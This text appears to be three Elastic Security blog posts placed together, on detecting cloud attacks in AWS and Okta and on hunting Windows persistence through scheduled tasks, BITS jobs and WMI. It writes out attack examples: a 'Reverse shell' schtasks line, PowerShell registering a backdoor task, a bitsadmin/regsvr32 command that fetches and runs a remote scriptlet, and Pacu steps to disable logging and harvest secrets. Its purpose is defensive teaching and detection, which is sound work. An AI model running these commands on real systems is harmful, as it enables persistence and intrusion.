In this post, we'll discuss cloud monitoring and detection-related challenges security operations teams face, and why attacks against cloud environments are often successful. We will share details on our free cloud detection rules (including many new ones released in Elastic Security 7.9) and show how they can help Elastic Security users.

We'll also explain how Elastic can ingest logs from a wide variety of cloud platforms and how the Elastic Common Schema (ECS) makes searching, monitoring, and detection easy for defenders.

Cloud monitoring and detection challenges

Security teams typically encounter one or more of the following challenges when they're asked to monitor, detect, and respond to threats in their organization's cloud environments:

• Resource constraints: It can take a considerable amount of time to learn and understand cloud technologies and their ever-changing data sources. Many security operations teams do not have the resources to allocate to this ongoing effort.
• Understanding of adversary tradecraft: Attacker behavior on well-known platforms such as Windows has been researched extensively and shared with the security community. Security teams may not have an in-depth understanding of how adversaries operate in cloud environments or the ability to provision a test environment to practice offensive and defensive techniques to protect their organization.
• Blind spots: For effective monitoring and detection, the data available to security practitioners must be relevant, accurate, and timely. Cloud logs shipped to a SIEM can be used for detection and response as long as the security team can depend on the quality of the data.
• Data normalization: Most cloud platforms have their own log categories and event schema. Normalizing logs into a common schema is not a trivial or one-off task. Some security teams, for example, have several different field names for a hostname across their data sources indexed in their SIEM. Without a normalized and documented schema, it can be difficult for analysts — especially less experienced ones — to write search queries and correlate events across data sources effectively.

Ingesting and searching cloud logs with Elastic

Elastic has a large collection of Filebeat modules that can be used to simplify the collection, parsing, and visualization of many diverse log formats into a common schema — including cloud platforms such as Amazon Web Services (AWS), Azure, Okta, and Office 365. Rapid development of new Filebeat modules is an ongoing process.

The Elastic Common Schema (ECS) defines a common set of fields for ingesting logs from a connected data source (e.g., AWS/Okta) into Elasticsearch. Log data is normalized into a format where the various field names can be used in queries to correlate behavior across data sources. This is useful to security and IT operations teams for a number of reasons.

Practitioners and administrators do not need to spend countless hours transforming or normalizing their ingested logs so that the field names follow their own common schema. Managing a schema like this yourself is no small undertaking and is a continuous effort. Elastic manages ECS (saving users time and resources) so that security teams can rely on a common set of field names to search their data quickly and efficiently.

End users can rely on using the same field names in their queries when searching across multiple data sources, which presents the following advantages:

• Having a consistent schema for searching saves security analysts time and lowers the barrier to entry for new analysts. Analysts don't have to learn or remember all of the different field names and their purpose for each data source.
• Analysts can correlate events across data sources such as endpoint, proxy, and firewall, which helps them ask questions of their data more efficiently and make sound decisions during an investigation, incident, or hunt.
• It's easy for analysts to produce a timeline or build a visualization of the activity that occurred.

Detecting attackers operating in cloud environments

The Elastic Security Intelligence & Analytics Team's research into adversary tradecraft leads to new detection features like rules and machine learning jobs — capabilities that enable small security teams to have an outsized impact. Security features like these increase the cost of an attack for adversaries. Elastic Security users can expect to see a continued focus on increasing the cost of cloud attacks.

In the remainder of this blog post, we'll simulate attack techniques against AWS and Okta cloud environments. We'll review the alerts that are generated by the suspicious activity and how an analyst can perform initial triage and complete their investigation using Elastic Security. We will also demonstrate how analysts can add exceptions to detection rules in order to filter benign events and continue to alert on suspicious behavior.

Monitoring AWS CloudTrail logs to detect suspicious behavior

As organizations migrate to or provision new infrastructure in cloud platforms like AWS, they face the common challenges that we described earlier. Fortunately, Elastic Security has a strong variety of AWS rules, available for free in 7.9 to detect suspicious behaviors in an AWS environment.

The Filebeat module for AWS helps you easily ship CloudTrail, Simple Storage Service (S3), Elastic Load Balancing (ELB), and virtual private cloud (VPC) flow logs to Elasticsearch for monitoring and detection in Elastic Security. Let's walk through an attack and defense scenario utilizing CloudTrail data. CloudTrail provides event history of your AWS account activity, including actions taken through the AWS Management Console, AWS software development kits (SDKs), command line tools, and other AWS services. This event history can help simplify security detection, analysis, and investigations.

Many attacks against AWS start with an attacker obtaining an access key and/or the secret access key details. These keys may be harvested in a variety of ways, including through phishing, a data breach, GitHub repositories, screenshots, error messages, snapshot data, or simply poor key management practices. By obtaining these keys, an attacker can take a variety of actions against your AWS infrastructure.

Let's walk through one of the many potential attack scenarios that could play out. In the following example, the adversary enumerates the trails and monitoring capabilities that have been configured for the AWS account. They follow up on this activity by disabling a trail and a configuration recorder in an attempt to evade detections and then proceed to harvest secrets.

Simulating adversary behavior in AWS

In this demonstration, we'll use Pacu to perform our attack. Pacu is a popular framework for exploiting AWS infrastructure, developed and maintained by Rhino Security Labs. Pacu is modular, similar to other exploitation frameworks like Metasploit and Koadic, and enables attackers to exploit configuration flaws within an AWS account. Attackers can use Pacu to check if the required permissions are assigned to the compromised account before attempting to execute a module. This can be helpful from an attacker's perspective to not create unnecessary noise and logs, and draw additional attention from defenders by running modules that will ultimately fail.

The attacker begins by enumerating services using the detection__enum_services module to determine what logging and monitoring services are enabled for the AWS account.

The attacker discovered eight trails, as well as ten configuration rules, a recorder, and a delivery channel. Essentially, the enumeration script is querying certain AWS API calls to list or describe relevant information about the environment. By reviewing the code of the module, we can see the targeted APIs:

DescribeSubscription
GetSubscriptionState
DescribeTrails
ListDetectors
DescribeConfigRules
DescribeConfigurationRecorders
DescribeConfigurationRecorderStatus
DescribeDeliveryChannels
DescribeDeliveryChannelStatus
DescribeConfigurationAggregators
DescribeAlarms
DescribeFlowLogs

After the attacker determines which services are running, their next logical step may be to interrupt logging and monitoring by disabling a trail, alarm, detector, or recorder in an attempt to evade detection. To accomplish this objective, we'll use a different module called detection__disruption to disable a trail called brentlog, and stop the configuration recorder named default.

At this point, with trail logging suspended and the configuration recorder turned off from tracking changes to resources, the attacker may want to check if there are any credentials, API keys, or tokens available in Secrets Manager and if so, collect them. In this scenario, the attacker uses the enum_secrets module and finds one secret in the directory, /sessions/brent/downloads/secrets/secrets_manager. Harvesting these secrets could help the adversary achieve lateral movement and/or privilege escalation.

We'll stop our fictitious attack scenario here, but if you're curious to learn what the attacker could do next, the following Google search will return some examples: intitle:"AWS" intext:("attack" | "breach"). In the next section, we'll look at what this behavior looks like from a defender's perspective and how Elastic Security can be used to detect this behavior.

Detecting and investigating the suspicious behavior in AWS

While monitoring the usage of the previously mentioned APIs, it can be difficult to distinguish benign activity from suspicious behavior, such as an attacker enumerating an environment. In production environments, monitoring for calls to these APIs can be noisy, as the behavior is quite common. To help find this rare and potentially suspicious behavior, and in addition to the AWS detection rules we have available, we've released machine learning jobs in 7.9 specifically for AWS CloudTrail that help identify outliers, such as patterns of unusual activity that are hard to find using conventional detection rules.

Looking at our detections page from the previous attack, we can see multiple alerts were triggered. Our free built-in detection rules identified the techniques of suspending a trail, stopping a configuration recorder, and grabbing sensitive information from the secrets manager. The other alerts are from the machine learning jobs of Unusual Country For an AWS Command and Unusual AWS Command for a User which identify a geolocation (country) that is unusual for the command or a user context that does not normally use the command.

If we pivot into one of the machine learning alerts, we can see a description of what it detected, along with a built-in investigation guide to walk an analyst through a potential workflow when analyzing an unusual CloudTrail event.

Let's also take a look at the details in the Timeline view from the AWS Configuration Recorder Stopped alert. The fields I'm particularly interested in are the API call, user agent string, user identity type, request parameters, and the raw text of the entire event.

By analyzing the alert, we're able to quickly determine:

| | | | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Field | Description | | event.action | Tells us the AWS API call that was made, StopConfigurationRecorder | | request_parameters | Gives us the details about what was sent in the request, in our case, the configuration recorder name, default | | user.name | Informs us as to who made the request, pacu | | user_identity.type | Contains details about the type of Identity and Access Management (IAM) identity. In our case, an IAMUser. Root is another user identity type we have built in rules for. | | user_agent | The value of the HTTP User-Agent header. User agent strings can be easily modified, but if an account typically uses the AWS Java SDK for their API calls, and it changes, then the detection of the anomalous user agent string can be a quick win. | | event.original | Gives us the raw alert details |

Table 1 - Analysis of alert fields

After analyzing the alert, we can start to piece together the events and look at what actions the user took just before our alerts fired (and afterwards as applicable). Again, we can spot the attackers enumeration here as well.

We may also want to search our environment for specific API calls to see if they were invoked by other users or hosts, from different IPs, or at other time frames that would be suspicious in our environment.

We can also create a visualization to look for the least common API calls in our environment and pivot from there. For AWS, the API calls are in the event.action field.

As demonstrated, our free built-in rules for AWS can detect this activity as well as a number of other potential attack scenarios. We've opened up our rules repository and encourage you to have a look and learn how to contribute if interested.

Detecting suspicious behavior in Okta logs

Okta single sign-on (SSO) is a cloud solution that allows users to log into a variety of systems in their organization via a centralized process using a single user account. Informing end users that they only have to remember one username and password instead of ten or more reduces the risk that they'll adopt poor password hygiene and enables system administrators to enforce stronger password policies. Further, multi-factor authentication (MFA) policies can be configured in Okta, which raises the barriers to entry for attackers. Many attackers will simply move on to look for an easier target when they discover that MFA is enforced for their target's network or user account.

While SSO solutions can provide a convenient user experience and reduce cybersecurity risk for an organization, these centralized systems that offer a type of skeleton key to many systems and applications are often an attractive target for attackers. For example, if an adversary manages to harvest an Okta administrator's credentials or API token, they could attempt to perform any of the actions in the non-exhaustive list below:

• Modify or disable MFA policies for one or more applications in order to weaken their victim's security controls.
• Create new user accounts or API tokens to maintain persistence in their target's environment and attempt to “blend in” and evade detection.
• Modify, delete, or deactivate an Okta network zone to loosen the restrictions on which geolocation users or administrators can login from.
• Delete or disable an application or other configuration to create a Denial-of-Service (DoS) condition and impact a company's business operations.

To enable security teams to monitor their Okta environment for suspicious activity, our Okta Filebeat module can pull Okta System Log events and ship them to Elasticsearch to be indexed. Okta's System Log records events related to an organization in order to provide an audit trail that can be used to understand platform activity. The Elastic Security Intelligence & Analytics Team has free rules to detect suspicious activity in Okta logs and will continue adding more in future.

In the following example, imagine that an adversary has harvested an API token after gaining initial access to an organization's network. The API token has administrator privileges and the adversary executes some actions in their target's Oka environment:

• Create a new user account and assign administrative permissions to it in order to maintain a presence in the target environment should the security team discover that the current API token is compromised
• Deactivate a sign-on policy in order to weaken the target's security controls
• Disable a network zone to enable attackers to authenticate from any geographical location during their intrusion

The Okta Filebeat module was configured to ship Okta System Log events to Elasticsearch and our Okta rules were activated in Elastic Security. The suspicious activity triggered three alerts shown in Figure 12 below.

Clicking on one of the alerts allows the analyst to review more information about the rule, including the description of the behavior that the rule detects, severity and risk scores, and the associated MITRE ATT&CK® tactic and technique. The analyst can scroll further down the page and begin to investigate the alert in Timeline.

To learn more how Elastic supports ATT&CK, see our presentation: How to Plan and Execute a Hunt.

Security practitioners know that every organization's network is different. Behavior that looks suspicious in one environment may be benign in another. To help security teams find the proverbial “signal in the noise,” users can add exceptions to their detection rules to filter benign events and continue to alert on suspicious events. Figure 14 shows an exception being added to an Okta rule.

We've also introduced the "threshold" rule type. Threshold rules aggregate query results and generate an alert when the number of matched events exceeds a certain threshold. The example rule below will generate an alert when 25 Okta user authentication failures occur from a single source IP address. This can be indicative of a brute force or password spraying attack.

Viewing an alert generated by a threshold rule in the Timeline allows an analyst to review the events that triggered the rule and begin their triage process or investigation.

Conclusion

According to Verizon's latest Data Breach Investigations Report, cloud assets were involved in 24% of the report's 3,950 data breaches reviewed last year. As organizations continue to migrate their data and business operations to the cloud, we can expect this number to increase.

In this blog post, we discussed some of the challenges that security teams face when attempting to monitor for, detect, and investigate suspicious behavior in their organization's cloud environments. We walked through some practical examples on how attackers operate in cloud environments and how Elastic Security can detect those techniques.

The Elastic Security Intelligence & Analytics Team researches adversary tradecraft and develops new detection rules and machine learning jobs for multiple platforms including cloud. Our users can expect to see our continued focus on increasing the cost of cloud attacks.

Configuring our Filebeat modules to ship logs to Elasticsearch and enable detection rules in Elastic Security is easy. Our free detection rules help security teams monitor those logs and detect suspicious behavior, regardless of the size of their team. Elastic Security enables analysts to triage and investigate those alerts quickly and efficiently.

If you're interested in learning more about Elastic Security, you can download it for free or sign up for a free 14-day trial of Elastic Cloud.

Part 1 explained what persistence is and why attackers need it. It introduced the Event Query Language (EQL) before showing its practical use cases for threat hunting. Finally, it examined a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (T1084). We shared how Elastic Security users can hunt for and detect this technique being used in their environment.

In this post, we’ll explore two additional persistence techniques that are being used by attackers in the wild: Scheduled Tasks (T1053) and BITS Jobs (T1197). This blog assumes you've already learned a little EQL as we walk through real-world examples and provide ready-to-use detection logic for each technique.

Persistence via scheduled tasks (T1053)

Windows provides a built-in utility called schtasks.exe that allows you to create, delete, change, run, and end tasks on a local or remote computer. Scheduled tasks run at an elevated privilege level, which means this persistence mechanism can indirectly satisfy privilege escalation (TA0004) as well. It’s important to be aware of scheduled tasks that exist in your environment (such as maintenance or backup tasks) as well as tasks created during the installation of new software (like PDF readers or browsers). It's also essential for security teams to baseline their environment, as knowing all the legitimate ways that scheduled tasks are used will help you become a more effective hunter and identify anomalies more quickly.

An adversary may attempt to abuse scheduled tasks to execute programs at startup or on a regular cadence for persistence. Threat actors like APT34, APT29, and FIN6 have been known to use scheduled tasks as a means to persist. Figure 1 depicts some of the command line parameters available to schtasks.exe, which we can use as references when analyzing task creation events.

/Create - creates a new scheduled task
/RU - specifies the "run as" user account
/SC - specifies the schedule frequency
/TN - specifies the string in the form of path\name which uniquely identifies this scheduled task
/TR - specifies the path and file name of the program to be run at the scheduled time
/MO - specifies how often the task runs within its schedule type
/F - forcefully creates the task and suppresses warnings if the specified task already exists

Figure 1 - Portion of Windows schtasks.exe available command line parameters

Figure 2 shows an example of a schtasks.exe command. This example is from the popular Living Off The Land Binaries and Scripts (LOLBAS) project that demonstrates how built-in, trusted Operating System utilities can be abused by adversaries to achieve their objectives. By looking at the command line parameters in the example, the task named Reverse Shell is configured to execute the binary C:\some\directory\revshell.exe every minute.

schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe

Figure 2 - Example of scheduled task creation using schtasks.exe

Windows PowerShell also includes several ScheduledTasks cmdlets that can be used to create and manage scheduled tasks on Windows endpoints. Security teams can hunt for suspicious usage of these cmdlets including the ones listed in Figure 3. Organizations that have already deployed PowerShell 5.0 should consider monitoring suspicious script block logging events, Event ID 4104. A good resource on PowerShell visibility and recommended log sources to monitor can be found here.

New-ScheduledTaskAction - creates a scheduled task action
New-ScheduledTaskTrigger - creates a scheduled task trigger object
Register-ScheduledTask - registers a scheduled task definition on a local computer

Figure 3 - Common PowerShell cmdlets for scheduled task creations

Figure 4 shows how these PowerShell cmdlets can be used to create and register a scheduled task.

PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T
PS C:\> Register-ScheduledTask Backdoor -InputObject $D

Figure 4 - PowerShell cmdlets being used to create and register a scheduled task

Real-world example: APT34 scheduled tasks abuse

As mentioned previously, APT34, a highly organized and technical state-sponsored threat group, is known to use scheduled tasks for persistence. The following visualization (Figure 5) depicts one of the ways a scheduled task can be used. In this case, we’re seeing the result of a victim opening a phishing lure (Step 1) — attributed to the APT34 threat group — via the Resolver view. Resolver is a critical enabler for security practitioners, as discussed in Part 1. In this example, the following behaviors can be observed:

• A malicious macro, embedded within a Microsoft Word document, was opened (Step 2)
• Upon opening the Word document and executing the malicious macro, the native Windows script interpreter (wscript.exe) executed a script introduced by the adversary (Step 3)
• The script created a callback to C2 while also establishing persistence via a scheduled task (Step 4)

Figure 6 depicts the command line arguments parsed from the malicious scheduled task. Every minute, the native Windows Script Host utility, wscript.exe, will execute the malicious VBScript file, AppPool.vbs, which resides in the ProgramData subdirectory.

Hunting for scheduled tasks

With an understanding of the technique, observable artifacts, and common attributes of schtasks.exe execution, we're better prepared to succeed in our hunt for malicious scheduled task creation events. The EQL query in Figure 7 matches event sequences where the task scheduler process, schtasks.exe, is created by one of several commonly abused binaries and matches some of the command line parameters previously described. By uniquing on the command line, this allows us to focus our hunt on unique task creations and their properties.

This query matches behaviors described in our earlier APT34 example, in which schtasks.exe descended from wscript.exe. Windows script host (WSH) is a script interpreter and should generally not have many descendants. In this case, it indicates that WSH was used to interpret a JScript or VBScript object that directly or by proxy implemented a scheduled task using schtasks.exe. This EQL query can also be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time this activity occurs.

process where subtype.create and
 process_name == "schtasks.exe" and
  descendant of
   [process where process_name in ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe",
    "wmic.exe", "mshta.exe","powershell.exe")] and
   command_line == "* /create*" and
   wildcard(command_line, "*/RU*", "*/SC*", "*/TN*", "*/TR*", "*/F*")
| unique command_line

Figure 7 - EQL query to search for the creation of schtasks.exe as a descendant of commonly abused processes

In Elastic SIEM, we can search for the use of the scheduled tasks utility and drag and drop fields of interest into the responsive Timeline (Figure 8) for further investigation. Data from multiple indices, or data sources, can be added to the Timeline view, which enables analysts to organize leads and investigate complex threats. Version 7.6 introduced a detection engine that included 92 out-of-the-box rules for detection in Windows, Linux, network, and APM telemetry — as well as enabling users to create their own custom rules.

Other scheduled task considerations

Scheduled tasks may not seem sophisticated, but they are a great example of how hunters must understand the various ways that an adversary can schedule a task on a system. When shallowly monitoring a technique (i.e., only looking for use of schtasks.exe), a team can easily lull itself into a false sense of security. Understanding adversary tradecraft and having access to the relevant telemetry is crucial for successful threat hunting.

It’s important to note that there are many other ways scheduled tasks can be abused by adversaries, including offensive security tools, custom scripts, .job files, the AT command, and directly via the Task Scheduler API. Elastic Security provides detections and preventions for various TTPs related to scheduled task abuse and provides API-level visibility.

In the next section, we’ll analyze BITS jobs, how they are used by attackers in the wild, and a variety of methods to identify or detect this technique.

Persistence via BITS jobs (T1197)

Windows Background Intelligent Transfer Service (BITS) is a built-in framework used to transfer files to and from web and SMB servers. Microsoft provides a utility called bitsadmin.exe and PowerShell cmdlets for managing the transfer of files.

Microsoft uses BITS to download and install updates in the background — using idle bandwidth. For example, if a user starts a Windows Update and signs out of the computer, or if a network connection is lost, BITS will resume the download automatically as soon as it is able. The capability to survive reboots makes it an ideal tool for attackers to transfer malicious files and possibly large volumes of data the actor plans to steal. Threat groups like APT40 and malware families such as the Qbot banking trojan have used BITS to transfer malicious files and set up persistence.

Figure 9 shows some parameters that can be used with bitsadmin.exe. We can identify interesting activity by focusing on creation and transfer command line options.

/create - creates a transfer job with the given display name
/addfile - adds a file to the specified job
/resume - activates a new or suspended job in the transfer queue
/transfer - transfers one or more files
/SetNotifyCmdLine - sets the command that will run when the job finishes transferring data or when a job enters a state
/SetMinRetryDelay - sets the minimum length of time, in seconds, that BITS waits after encountering a transient error before trying to transfer the file

Figure 9 - Parameters that can be used with the Windows bitsadmin.exe utility

Figure 10 shows an example of how the above parameters can be used to create a BITS job. The below example from the bitsadminexec project demonstrates how bitsadmin.exe can be used to execute the Squiblydoo technique, discovered by Casey Smith. Squiblydoo utilizes regsvr32.exe to download an XML file that contains scriptlets for executing code on the victim machine. This sample executes calc.exe, but it’s a good use case for how this could be used maliciously:

# create backdoor
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor

Figure 10 - Example of using bitsadmin.exe to execute Squiblydoo

Since BITS version 4.0 (standard in Windows Server 2008 R2 and Windows 7), PowerShell cmdlets can also be used to create and manage file transfer jobs. The PowerShell cmdlets for BITS provide much of the same functionality as the bitsadmin.exe command line utility, a subset of which are depicted in Figure 11:

Add-BitsFile - add one or more files to a BITS transfer
Resume-BitsTransfer - resumes a suspended BITS transfer job
Set-BitsTransfer - modifies the properties of a BITS transfer job
Start-BitsTransfer - create and start a BITS transfer job

Figure 11 - Common PowerShell cmdlets for BITS

A good cmdlet to monitor is Start-BitsTransfer. The local and remote names of the file are specified in the Source and Destination parameters. This can be depicted as seen in Figure 12. As stated previously, analysts should monitor suspicious script block logging events, Event ID 4104, in the Microsoft-Windows-PowerShell/Operational log.

Hunting for malicious BITS jobs

The EQL query in Figure 13 demonstrates some of the command line arguments you might see while hunting for malicious use of bitsadmin.exe. The query searches for a process creation event for the bitsadmin.exe binary and the common command line parameters associated with the creation or transfer of a BITS job, and returns unique results based on the command line value. Focusing on unique results while hunting allows us to narrow our focus and more easily spot anomalous activity.

process where subtype.create and
  process_name == "bitsadmin.exe" and
  wildcard(command_line, "*Transfer*", "*Create*", "*AddFile*", "*SetNotifyCmdLine*",
                        "*SetMinRetryDelay*", "*Resume*")
| unique command_line

Figure 13 - EQL query looking for common bitsadmin.exe command line parameters

Additionally, during rule creation, you have the option to enable a "Reflex Response." With “Reflex Response,” if such behavior defined in a custom rule is detected, it uses Endpoint Security’s unique telemetry-gathering and enrichment to execute an automated response before damage and loss can occur (Figure 14). This functionality enables analysts to take action to stop the malicious behavior and then investigate the events that led up to and occurred after the threat, as opposed to investigating a current threat that may be past the point of remediation.

Executing an EQL hunt in the Endpoint Security product using the EQL query from above can lead to finding real-world campaigns like Qbot, shown in Figure 15.

Real-world example: Qbot malware

QBot is a widely distributed banking Trojan that is capable of self-replication and has historically relied on PowerShell. Recently, however, it may have been abandoned in favor of bitsadmin.exe — an application unlikely to be scrutinized as aggressively.

This variant utilizes a .vbs dropper by masquerading as a .doc file, as Windows still hides the original filename extension by default. Upon execution, in this case via the parent process wscript.exe, the malware spawns bitsadmin.exe to create a transfer job that downloads a subsequent payload, shown in the Timeline view in the SIEM app (Figure 16).

Analyzing the process.args field values as depicted in Figure 17 reveals that the malware takes the following actions:

• Creates a randomly named transfer job with high priority
• Uses bitsadmin.exe to download its second stage payload from a command & control (C2) server (Note that widgetcontrol.png is actually a Windows executable)
• Base64 encodes data on the endpoint’s operating system version and antivirus software, which it passes back to C2 in the beacon URI
• Randomizes the name of the payload and writes it to a subfolder of the %AppData% path

This example showcases how bitsadmin.exe can be used by threat actors to attempt to bypass traditional defenses by using a less common, built-in utility. This application is effectively used by threat actors for transferring files and maintaining a presence in a victim environment.

Others BITS and pieces

The Microsoft_Windows_Bits_Cient Operational.evtx log file is a native Microsoft event log. It records every operation executed by the BITS client, either via bitsadmin.exe or PowerShell. Within that log store, Event ID 3 is used when The BITS service creates a new job. Winlogbeat can be configured to monitor that event.provider as shown in Figure 18. Elastic Security provides telemetry, detections, and threat hunting capabilities for BITS abuse at enterprise scale.

Conclusion

In this blog series, we examined popular techniques that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.

Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM — along with the protections provided out of the box — lower the barriers to entry for analysts, provides detailed visibility into endpoint activity, and enables organizations to prevent, detect, and respond to malicious behavior at scale.

Try Elastic SIEM for free today. To learn more about threat hunting, download a free copy of The Elastic Guide to Threat Hunting.

View our webinar on Hunting for persistence using Elastic Security.

Plus, EQL support is being added to Elasticsearch!

• How the offensive technique works
• Why the technique is often successful for attackers
• How defenders can hunt for and detect the malicious behavior effectively using Elastic Security

In this two-part blog series, we’ll share the details of what was covered during our webinar with the goal of helping security practitioners improve their visibility of these offensive persistence techniques and help to undermine the efficacy of these attacks against their organization.

Part 1 will explain what persistence is and why attackers need it. We’ll introduce the Event Query Language (EQL) before showing its practical use cases for threat hunting. We will examine a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (T1084). We’ll also share how Elastic Security users can hunt for and detect this technique being used in their environment.

In part 2, we’ll explore two additional persistence techniques that are being used by attackers in the wild: BITS Jobs (T1197) and Scheduled Tasks (T1053). This follow-up post will walk through real world examples of these techniques being used and how we can hunt for, detect, and prevent them using Elastic Security.

The Protections team at Elastic Security is responsible for researching, understanding, and developing detections and preventions for attacker behavior in order to stop attacks before damage or loss occur. For organizations that do not have a full-time security operations team, Elastic Security includes out-of-the-box protections against adversary tradecraft, malware, and attacks like ransomware and phishing.

What is persistence and why do attackers need it?

When we consider the common components of an intrusion, such as those depicted in Figure 1, the attacker may have spent a considerable amount of effort carrying out reconnaissance, obtaining initial access to, and establishing a foothold in their target environment. Generally speaking, an adversary will often want to maintain a presence in order to survive disruptions to their access like system restarts or user password changes. An effective persistence mechanism will execute the attacker’s malicious code on a regular basis or when a specific condition is met such as a user logon or application launch event.

In many cases, gaining access to an organization’s network is harder than maintaining persistence. It is for this reason that attackers continue to use the persistence techniques covered in this post — with largely successful results. When the security industry refers to “dwell time,” that's the period of time that begins when an adversary gains access to a system and ends when you detect them. Persistence facilitates longer dwell times, during which the adversary can work to achieve their objectives.

There are currently 63 persistence techniques documented in the MITRE ATT&CK® knowledge base of adversary behavior. This number can seem daunting at first, but an adversary’s need for persistence can be their Achilles’ heel, providing defenders with valuable opportunities to detect and remove an attacker from their environment.

By learning these offensive tactics, techniques, and procedures (TTPs) and baselining the endpoints and network activity in your environment, you have an opportunity to detect attackers early on in an intrusion before any damage or loss occurs. Security operations teams work tirelessly to detect the techniques captured in the ATT&CK matrix — hunting and writing alert logic to provide the greatest visibility and coverage of their enterprise. To help reduce the barrier to entry and enable those teams, we created EQL and released it to the community.

What is Event Query Language (EQL)?

The queries in this blog post, which can be used for threat hunting and detection, are written in EQL — a powerful and intuitive query language that makes it easy for practitioners to search for complex adversary behavior.

To learn more about EQL, you can read the Getting started with EQL blog post or review the EQL Analytics Library, which contains 200+ free security analytics mapped to the techniques documented in the MITRE ATT&CK matrix. EQL is a core component of Elastic Endpoint Security and is being added to Elasticsearch for use in Elastic SIEM.

Let’s now analyze the WMI Event Subscription technique used by attackers in the wild by demonstrating a variety of methods to hunt for and detect this technique. We decided to cover this technique given its popularity among attackers and the low detection rates by traditional security controls.

Persistence via Windows Management Instrumentation (WMI) Event Subscriptions (T1084)

WMI is the Microsoft implementation of Web-Based Enterprise Management (WBEM), a collection of technologies used to manage information and systems in enterprise environments. WMI is a built-in feature of Windows endpoints that allows both administrators and attackers to interact and manage many different functions of the operating system. Components such as network interfaces, power settings, service status, and installed software or patches can all be queried and managed via WMI.

Attackers have been abusing WMI since as early as 2008 to accomplish different objectives such as moving laterally between endpoints, enumerating what processes are running on an endpoint, and to maintain persistence. An attacker can “live off the land” by abusing built-in features of the operating system, which often results in a lower risk of detection than if they introduced malware into a victim environment.

It's no secret that adversaries prefer WMI-based persistence because:

• Many organizations are incapable of monitoring or investigating WMI
• Out-of-the-box WMI visibility is limited, and a third-party utility may be required to effectively convey how WMI is being used
• WMI is an integral component of Windows, and the volume of weak signals from this data source can overwhelm analysts who aren't familiar with these attack types

Like most offensive techniques, until organizations can reliably detect WMI abuse, the adversary is unlikely to change their behavior.

Understanding WMI Event Subscriptions and how they can be abused

Simply put, a WMI Event Subscription can trigger an action when a certain condition is met. A WMI Event Subscription consists of three components.

• EventFilter - specifies a condition that you test for, i.e. a user successfully authenticates, a particular time and day of the week occurs, etc.
• EventConsumer - specifies an action to execute when the EventFilter condition is met, i.e. execute a Windows command or script, delete all Volume Shadow Copies, restart a service, etc.
• FilterToConsumerBinding - this links an EventFilter to an EventConsumer instance

Figure 2 below shows the output from Sysinternals Autoruns, a free tool from Microsoft that can be used to examine various persistence locations on Windows endpoints, also referred to as Autostart Execution Points (ASEPs). Autoruns reveals a persistent WMI Event Subscription, named checkforupdates. It is important to note that there are sometimes benign WMI Event Subscriptions configured, but there shouldn’t be many. Alerting on the creation of new WMI Event Subscriptions and hunting for new ones periodically can be a low cost, high reward exercise.

The full WMI Query Language (WQL) query from the Autoruns results is shown below. Autoruns conveniently enumerated the WMI __EventFilter class for us in the root\Subscription namespace where this malicious entry was created. Interpreting this WQL query, the EventFilter condition will be met when the system’s uptime is between 240 -325 seconds. The EventConsumer is an Empire PowerShell script and will execute when this EventFilter condition is met.

To summarize, a WMI Event Subscription has been configured to execute a malicious PowerShell script shortly after the endpoint boots up. This enables the attacker to maintain persistence in the victim’s environment and survive system restarts.

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325

Figure 3 - WMI Query Language (WQL) query showing WMI EventFilter condition

Hunting for and detecting malicious WMI Event Subscriptions

The EQL query in Figure 4 shows how we can search for a sequence of three WMI events, which were generated by the same unique process ID (PID). This query demonstrates one of the strengths of EQL by using the join function. This allows us to match sequences of events in any order. Searching for these three WMI events without binding them together by unique PID might not return meaningful results. This query matches when a WMI EventFilter, EventConsumer, and FilterToConsumer binding are created by the same process in succession, which typically occurs when malware is executed and creates a new WMI Event Subscription for persistence. This query can be used to monitor for and detect abuse of WMI.

join by unique_pid
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventFilter*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventConsumer*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*FilterToConsumerBinding*"]

Figure 4 - EQL query to search for the creation of a WMI EventFilter, EventConsumer, and FilterToConsumerBinding in succession

The above EQL query can be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time a new WMI Event Subscription is created by a process (Figure 5).

Resolver is the primary interface for interacting with alerts in Elastic Endpoint Security and enables users to visualize process ancestry along with relevant events such as DNS, file, network, WMI, and PowerShell, to name a few. It also provides one-click response actions to resolve the alert.

Clicking the WMI event type next to powershell.exe in Resolver enables users to review the WMI events that were generated by the process. Figure 7 shows the WMI event that was logged when powershell.exe was used to create the new WMI FilterToConsumerBinding, checkforupdates.

Elastic Endpoint Security also includes template-based hunts that lower the barriers to entry for less experienced analysts and allows for the easy collection and analysis of data across an organization’s endpoints. There are currently 25 categories of persistence data that can be collected and analyzed using template-based hunts.

Once a hunt has been executed, there are several ways to sort or aggregate the data — such as by frequency or file path. This helps analysts to quickly baseline their endpoints and identify anomalies to investigate further.

